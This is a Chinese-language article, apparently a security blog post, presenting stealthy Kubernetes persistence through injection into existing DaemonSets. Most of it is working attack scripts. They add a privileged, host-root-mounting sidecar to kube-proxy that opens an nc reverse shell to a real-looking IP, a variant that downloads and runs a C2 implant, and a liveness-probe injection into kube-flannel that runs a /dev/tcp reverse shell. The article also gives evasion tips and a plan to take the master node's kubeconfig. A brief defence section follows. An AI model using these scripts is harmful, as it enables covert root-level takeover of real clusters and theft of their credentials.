动态容器注入-一种隐蔽的k8s权限维持方法
字数 1318 2025-10-27 12:13:03

动态容器注入:一种隐蔽的Kubernetes权限维持方法

概述

动态容器注入是一种利用Kubernetes原生功能实现权限维持的隐蔽技术。该方法通过修改现有的DaemonSet配置,注入恶意容器或探针,避免了创建新的Pod或控制器,从而降低了被检测的风险。

传统Kubernetes权限维持方法的局限性

传统的权限维持方法包括:

  • 部署后门Pod
  • 部署CronJob
  • 部署Shadow API Server
  • 部署恶意Deployment
  • 部署恶意DaemonSet

这些方法都需要创建新的Kubernetes资源,容易被安全监控工具发现。

动态容器注入技术

1. Sidecar容器注入技术

技术原理

Sidecar容器是在同一个Pod中运行的辅助容器,与主容器共享网络、存储等资源,生命周期完全同步。

选择DaemonSet的原因

  • 确保所有节点(包括新增节点)都运行Pod
  • Pod退出后自动重建,提高持久性

容器配置要点

为了实现高权限访问,恶意容器需要配置:

securityContext:
  privileged: true  # 特权容器
hostNetwork: true   # 共享宿主机网络命名空间
hostPID: true       # 共享宿主机PID命名空间
volumeMounts:       # 挂载宿主机根目录
- mountPath: /host-root
  name: host-root

基础注入示例

以kube-system命名空间中的kube-proxy DaemonSet为例:

注入脚本示例:

#!/usr/bin/env bash
# inject-cache.sh -- 自动注入sidecar容器

set -e

# 提取原镜像
image=$(kubectl -n kube-system get ds kube-proxy -o yaml | awk '$1=="image:"{print $2}' | head -n1)

# 定义变量
volume_name="cache"
mount_path="/var/kube-proxy-cache"
ctr_name="kube-proxy-cache"

# 构建注入内容
volume_block="\
      - name: ${volume_name}
        hostPath:
          path: /
          type: Directory"

container_block="\
      - name: ${ctr_name}
        image: alpine:latest
        imagePullPolicy: IfNotPresent
        command: [\"/bin/sh\"]
        args:
        - -c
        - 'set -x; nc 8.156.69.160 2333 -e /bin/sh & tail -f /dev/null'
        securityContext:
          privileged: true
        volumeMounts:
        - mountPath: ${mount_path}
          name: ${volume_name}"

# 执行注入
kubectl -n kube-system get ds kube-proxy -o yaml | awk -v vb="$volume_block" -v cb="$container_block" '
    /^      volumes:/   { print; print vb; next }
    /^      containers:/ { print; print cb; next }
    1
' | kubectl replace -f -

思路优化

问题: 使用nc反弹shell只能接受单个连接,不适合多节点环境。

解决方案: 使用C2木马提高可用性

container_block="\
      - name: ${ctr_name}
        image: alpine:latest
        imagePullPolicy: IfNotPresent
        command: [\"/bin/sh\"]
        args:
        - -c
        - 'set -x; wget http://<IP:PORT>/kube-proxy -O /root/kube-proxy && chmod 777 /root/kube-proxy && /root/kube-proxy'
        securityContext:
          privileged: true
        volumeMounts:
        - mountPath: ${mount_path}
          name: ${volume_name}"

优势:

  • 支持多节点同时上线
  • Pod异常退出后自动重建,C2自动重连
  • 可通过无文件落地技术进一步提高隐蔽性

2. 存活探针注入技术

技术原理

利用Kubernetes的存活探针(Liveness Probe)机制,通过exec检查模式实现命令执行。

探针配置关键参数

livenessProbe:
  exec:
    command:
    - /bin/bash
    - -c
    - '恶意命令'
  initialDelaySeconds: 30  # 初始延迟
  periodSeconds: 5        # 执行间隔
  failureThreshold: 2147483647  # 最大重试次数(接近无限)

基础注入示例

以kube-flannel命名空间中的kube-flannel-ds DaemonSet为例:

环境侦察脚本:

#!/bin/bash
# 查找可用解释器

for ds in $(kubectl get daemonsets -A -o jsonpath='{range .items[*]}{.metadata.namespace}/{.metadata.name}{"\n"}{end}'); do
  ns=$(echo $ds | cut -d/ -f1)
  name=$(echo $ds | cut -d/ -f2)
  
  # 获取Pod信息
  pod=$(kubectl get pods -n $ns -l "$(kubectl get daemonset $name -n $ns -o jsonpath='{.spec.selector.matchLabels}' | tr -d '{}' | tr ',' '\n' | awk -F: '{gsub(/"/,"",$1); gsub(/"/,"",$2); print $1"="$2}' | tr '\n' ',')" -o jsonpath='{.items[0].metadata.name}' 2>/dev/null)
  
  if [ -z "$pod" ]; then
    continue
  fi

  echo "检查 $ns/$name ($pod) 的解释器:"
  for interpreter in sh bash python3 python node perl ruby; do
    kubectl exec -n $ns $pod -- which $interpreter &>/dev/null && echo "  $interpreter 存在"
  done
done

探针注入脚本:

#!/usr/bin/env bash
# inject-flannel-probe.sh -- 注入恶意存活探针

set -e

# 反弹shell命令(可base64编码提高隐蔽性)
PROBE_CMD='/bin/bash -i >& /dev/tcp/8.156.69.160/2333 0>&1'

PROBE_BLOCK="\
        livenessProbe:
          exec:
            command:
            - /bin/bash
            - -c
            - '$PROBE_CMD'
          initialDelaySeconds: 30
          periodSeconds: 5
          failureThreshold: 2147483647"

# 注入探针
kubectl -n kube-flannel get ds kube-flannel-ds -o yaml | awk -v pb="$PROBE_BLOCK" '
    /^        [a-zA-Z].*:$/ && !done && $0 ~ /volumeMounts:/ {
        print pb; done=1
    }
    { print }
' | kubectl apply -f -

思路优化

问题: 探针注入无法直接获得高权限容器环境。

解决方案: 结合代理技术实现API Server远程访问

  1. 从Master节点获取高权限kubeconfig文件
  2. 通过被控Pod建立代理通道
  3. 本地使用kubeconfig通过代理访问API Server

优势:

  • 无需增加容器数量,隐蔽性更高
  • 不依赖外部镜像拉取
  • 结合代理可实现完整控制链

检测与防御建议

检测措施

  1. 配置审计: 监控DaemonSet等关键资源的变更
  2. 运行时监控: 检测异常容器行为和安全上下文
  3. 网络流量分析: 识别可疑的外连通信模式
  4. 镜像来源验证: 限制非受信任的镜像仓库

防御策略

  1. 最小权限原则: 严格限制容器权限和能力
  2. 策略 enforcement: 使用Pod安全策略或OPA/Gatekeeper
  3. 网络策略: 限制容器网络访问范围
  4. 定期安全扫描: 包括配置检查和运行时检测

总结

动态容器注入技术通过滥用Kubernetes原生功能实现了高隐蔽性的权限维持。安全团队需要从配置管理、运行时监控、网络策略等多个层面建立纵深防御体系,才能有效应对这类高级威胁。

参考资源

  • 《k0otkit: Hack K8s in a K8s Way》
  • 《ADCONF2025-云原生攻击路径》
  • Kubernetes官方文档:Sidecar容器和存活探针
动态容器注入:一种隐蔽的Kubernetes权限维持方法 概述 动态容器注入是一种利用Kubernetes原生功能实现权限维持的隐蔽技术。该方法通过修改现有的DaemonSet配置,注入恶意容器或探针,避免了创建新的Pod或控制器,从而降低了被检测的风险。 传统Kubernetes权限维持方法的局限性 传统的权限维持方法包括: 部署后门Pod 部署CronJob 部署Shadow API Server 部署恶意Deployment 部署恶意DaemonSet 这些方法都需要创建新的Kubernetes资源,容易被安全监控工具发现。 动态容器注入技术 1. Sidecar容器注入技术 技术原理 Sidecar容器是在同一个Pod中运行的辅助容器,与主容器共享网络、存储等资源,生命周期完全同步。 选择DaemonSet的原因 确保所有节点(包括新增节点)都运行Pod Pod退出后自动重建,提高持久性 容器配置要点 为了实现高权限访问,恶意容器需要配置: 基础注入示例 以kube-system命名空间中的kube-proxy DaemonSet为例: 注入脚本示例: 思路优化 问题: 使用nc反弹shell只能接受单个连接,不适合多节点环境。 解决方案: 使用C2木马提高可用性 优势: 支持多节点同时上线 Pod异常退出后自动重建,C2自动重连 可通过无文件落地技术进一步提高隐蔽性 2. 存活探针注入技术 技术原理 利用Kubernetes的存活探针(Liveness Probe)机制,通过exec检查模式实现命令执行。 探针配置关键参数 基础注入示例 以kube-flannel命名空间中的kube-flannel-ds DaemonSet为例: 环境侦察脚本: 探针注入脚本: 思路优化 问题: 探针注入无法直接获得高权限容器环境。 解决方案: 结合代理技术实现API Server远程访问 从Master节点获取高权限kubeconfig文件 通过被控Pod建立代理通道 本地使用kubeconfig通过代理访问API Server 优势: 无需增加容器数量,隐蔽性更高 不依赖外部镜像拉取 结合代理可实现完整控制链 检测与防御建议 检测措施 配置审计: 监控DaemonSet等关键资源的变更 运行时监控: 检测异常容器行为和安全上下文 网络流量分析: 识别可疑的外连通信模式 镜像来源验证: 限制非受信任的镜像仓库 防御策略 最小权限原则: 严格限制容器权限和能力 策略 enforcement: 使用Pod安全策略或OPA/Gatekeeper 网络策略: 限制容器网络访问范围 定期安全扫描: 包括配置检查和运行时检测 总结 动态容器注入技术通过滥用Kubernetes原生功能实现了高隐蔽性的权限维持。安全团队需要从配置管理、运行时监控、网络策略等多个层面建立纵深防御体系,才能有效应对这类高级威胁。 参考资源 《k0otkit: Hack K8s in a K8s Way》 《ADCONF2025-云原生攻击路径》 Kubernetes官方文档:Sidecar容器和存活探针